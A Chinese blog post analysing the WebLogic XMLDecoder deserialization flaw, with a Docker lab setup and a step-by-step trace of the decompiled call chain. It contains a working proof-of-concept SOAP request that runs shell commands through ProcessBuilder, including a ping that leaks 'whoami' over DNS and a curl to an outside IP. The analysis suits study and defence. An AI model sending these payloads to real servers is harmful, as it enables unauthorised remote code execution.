weblogic_xmldecoder安全问题分析

p0desta 2019-05-31 10:06:00

这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正。

0x00 环境搭建

$ cat docker-compose.yml
version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
     - "8453:8453"
     - "7001:7001"

然后进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

if [ "${debugFlag}" = "true" ] ; then
        JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"
        export JAVA_DEBUG
        JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."
        export JAVA_OPTIONS

找到这个,在前面加上

debugFlag="true"
expport debugFlag

重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入library然后remote即可。

0x01 漏洞分析

先看poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
Content-Type: text/xml
Content-Length: 916
Connection: close
Cookie: user=TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjg6InJlZ2lzdGVkIjtiOjA7czo3OiJjaGVja2VyIjtPOjI2OiJhcHBcd2ViXGNvbnRyb2xsZXJcUHJvZmlsZSI6NTp7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6MTI6ImZpbGVuYW1lX3RtcCI7czo3NjoidXBsb2FkLzhiMjY2MzEyMTljOGY4ZWNhYzUxYjkzNWNjODdjY2QxL2E3YzNjZTA3NjU4NTQ3Nzc0MWQ5NTFkMTc5YWIwN2RjLnBuZyI7czozOiJleHQiO2k6MTtzOjg6ImZpbGVuYW1lIjtzOjQ5OiJ1cGxvYWQvOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEvc2hlbGwucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7czozMjoiOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEiO319; hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java>
                <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0">
                      <string>/bin/sh</string>
                    </void>
                    <void index="1">
                      <string>-c</string>
                    </void>
                    <void index="2">
                      <string>ping `whoami`.xxx.xxx</string>
                    </void>
                  </array>
                  <void method="start"/>
                </object>
              </java>
            </work:WorkContext>
          </soapenv:Header>
          <soapenv:Body/>
</soapenv:Envelope>

先打上断点看下调用堆栈wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

我们直接从解析处入手

    public NextAction processRequest(Packet var1) {
        this.isUseOldFormat = false;
        if (var1.getMessage() != null) {
            HeaderList var2 = var1.getMessage().getHeaders();
            Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
            if (var3 != null) {
                this.readHeaderOld(var3);
                this.isUseOldFormat = true;
            }

            Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
            if (var4 != null) {
                this.readHeader(var4);
            }
        }

        return super.processRequest(var1);
    }

这个processRequest看起来是个处理xml的函数,在这里调试的时候我发现步入不进xml处理的方法,后来发现本地缺少com.sun.xml.ws这个包,然后我使用maven导入后还是步入不了,虽然不影响我们分析漏洞,但是弄明白怎么处理的对我们理解更有帮助,然后我选择直接看代码

跟进Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);hhhh手动跟进,没法动态跟,直接看代码吧

  @Nullable
  public Header get(@NotNull QName name, boolean markAsUnderstood) {
      return this.get(name.getNamespaceURI(), name.getLocalPart(), markAsUnderstood);
  }

因为里面有方法的重载,根据传入的参数类型以及个数可以看到是这样实现的,进入跟

    @NotNull
    public Iterator<Header> getHeaders(@NotNull final String nsUri, @NotNull final String localName, final boolean markAsUnderstood) {
        return new Iterator<Header>() {
            int idx = 0;
            Header next;

            public boolean hasNext() {
                if (this.next == null) {
                    this.fetch();
                }

                return this.next != null;
            }

            public Header next() {
                if (this.next == null) {
                    this.fetch();
                    if (this.next == null) {
                        throw new NoSuchElementException();
                    }
                }

                if (markAsUnderstood) {
                    assert HeaderList.this.get(this.idx - 1) == this.next;

                    HeaderList.this.understood(this.idx - 1);
                }

                Header r = this.next;
                this.next = null;
                return r;
            }

            private void fetch() {
                while(true) {
                    if (this.idx < HeaderList.this.size()) {
                        Header h = HeaderList.this.get(this.idx++);
                        if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {
                            continue;
                        }

                        this.next = h;
                    }

                    return;
                }
            }

            public void remove() {
                throw new UnsupportedOperationException();
            }
        };
    }

因为这里没有动态调,逻辑理解可能会有些偏差,根据代码

if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {
                            continue;
                        }

可以分析出这里是获取了header,然后会将这部分代入this.readHeaderOld(var3);处理,跟进

wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class

这里将缓冲区中的剩余内容读取出来,跟入new WorkContextXmlInputAdapter

    public WorkContextXmlInputAdapter(InputStream var1) {
        this.xmlDecoder = new XMLDecoder(var1);
    }

实例化了XMLDecoder对象,然后var6为实例化的WorkContextXmlInputAdapter对象

继续跟入this.receive(var6)

    protected void receive(WorkContextInput var1) throws IOException {
        WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
        var2.receiveRequest(var1);
    }

继续跟

    public void receiveRequest(WorkContextInput var1) throws IOException {
        ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
    }

继续跟wlserver_10.3/server/lib/wlclient.jar!/weblogic/workarea/WorkContextLocalMap.class

    public void receiveRequest(WorkContextInput var1) throws IOException {
        while(true) {
            try {
                WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
                if (var2 == WorkContextEntry.NULL_CONTEXT) {
                    return;
                }

                String var3 = var2.getName();
                this.map.put(var3, var2);
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
                }
            } catch (ClassNotFoundException var4) {
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest : ", var4);
                }
            }
        }
    }

这里在readEntry(var1)对数据进行处理,往下走可以看到

    public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
        String var1 = var0.readUTF();
        return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
    }

看到了readUTF(),也就是一开始打断点的地方,跟入到

    public String readUTF() throws IOException {
        return (String)this.xmlDecoder.readObject();
    }

这里我们知道$this->xmlDecoderXMLDecoder的对象,这里看一下poc是怎么执行的呢

本地写段简单的代码来理解一下

import java.io.*;
import java.beans.XMLDecoder;
public class test{
    public static String cmd;
    public static void main(String args[]) throws Exception{

    File file = new File("/Users/p0desta/Desktop/code/test/src/exp.xml");
    XMLDecoder xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
    System.out.println(new FileInputStream(file));
    System.out.println(new BufferedInputStream(new FileInputStream(file)));
    xd.readObject();
    }
}

Exp.xml中的内容为

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/sh</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>curl http://114.116.44.126/public/?a=a</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

跟入readObject看看实现的什么

    public Object readObject() {
        return (parsingComplete())
                ? this.array[this.index++]
                : null;
    }

跟进parsingComplete

  private boolean parsingComplete() {
      if (this.input == null) {
          return false;
      }
      if (this.array == null) {
          if ((this.acc == null) && (null != System.getSecurityManager())) {
              throw new SecurityException("AccessControlContext is not set");
          }
          AccessController.doPrivileged(new PrivilegedAction<Void>() {
              public Void run() {
                  XMLDecoder.this.handler.parse(XMLDecoder.this.input);
                  return null;
              }
          }, this.acc);
          this.array = this.handler.getObjects();
      }
      return true;
  }

可以看到是调用DocumentHandler.parse来处理输入,跟进看一下

    public void parse(final InputSource var1) {
        if (this.acc == null && null != System.getSecurityManager()) {
            throw new SecurityException("AccessControlContext is not set");
        } else {
            AccessControlContext var2 = AccessController.getContext();
            SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
                public Void run() {
                    try {
                        SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
                    } catch (ParserConfigurationException var3) {
                        DocumentHandler.this.handleException(var3);
                    } catch (SAXException var4) {
                        Object var2 = var4.getException();
                        if (var2 == null) {
                            var2 = var4;
                        }
                        DocumentHandler.this.handleException((Exception)var2);
                    } catch (IOException var5) {
                        DocumentHandler.this.handleException(var5);
                    }

                    return null;
                }
            }, var2, this.acc);
        }
    }

然后传进来的var1继续进入SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);

    public void parse(InputSource is, DefaultHandler dh)
        throws SAXException, IOException {
        if (is == null) {
            throw new IllegalArgumentException();
        }
        if (dh != null) {
            xmlReader.setContentHandler(dh);
            xmlReader.setEntityResolver(dh);
            xmlReader.setErrorHandler(dh);
            xmlReader.setDTDHandler(dh);
            xmlReader.setDocumentHandler(null);
        }
        xmlReader.parse(is);
    }

重点关注xmlReader.parse(is);

        public void parse(InputSource inputSource)
            throws SAXException, IOException {
            if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
                if (fSAXParser.fSchemaValidationManager != null) {
                    fSAXParser.fSchemaValidationManager.reset();
                    fSAXParser.fUnparsedEntityHandler.reset();
                }
                resetSchemaValidator();
            }
            super.parse(inputSource);
        }

继续跟入父类的parse方法,往下走可以看到一系列处理xml的代码

跟到/rt.jar!/com/sun/beans/decoder/ElementHandler.class

    public void endElement() {
        ValueObject var1 = this.getValueObject();
        if (!var1.isVoid()) {
            if (this.id != null) {
                this.owner.setVariable(this.id, var1.getValue());
            }

            if (this.isArgument()) {
                if (this.parent != null) {
                    this.parent.addArgument(var1.getValue());
                } else {
                    this.owner.addObject(var1.getValue());
                }
            }
        }
    }

在往下跟,会发现构造的poc里面的恶意字符会拼接起来

继续跟

跟到这里的时候var5.getValue里面有东西

    public Object getValue() throws Exception {
        if (value == unbound) {
            setValue(invoke());
        }
        return value;
    }

反射调用了,整个调用链就是这样。

0x02 参考

https://blog.csdn.net/SKI_12/article/details/85058040
http://whip1ash.cn/2018/10/21/weblogic-deserialization/
https://xz.aliyun.com/t/5046

评论

p0desta

blog: www.p0desta.com

twitter weibo github wechat

热门分类

Web安全 文章:244 篇
事件分析 文章:223 篇
漏洞分析 文章:209 篇
渗透测试 文章:152 篇
木马与病毒 文章:125 篇

最新评论

xiumu

lz1y表哥6

Rook1e

收藏啦

Rook1e

学到了

loopher

滴滴,学习卡,之前看到了一个deep-link的,没有深入这下学到了,谢谢辣

loopher

理由周末时间就搞了这么多,我好菜啊~~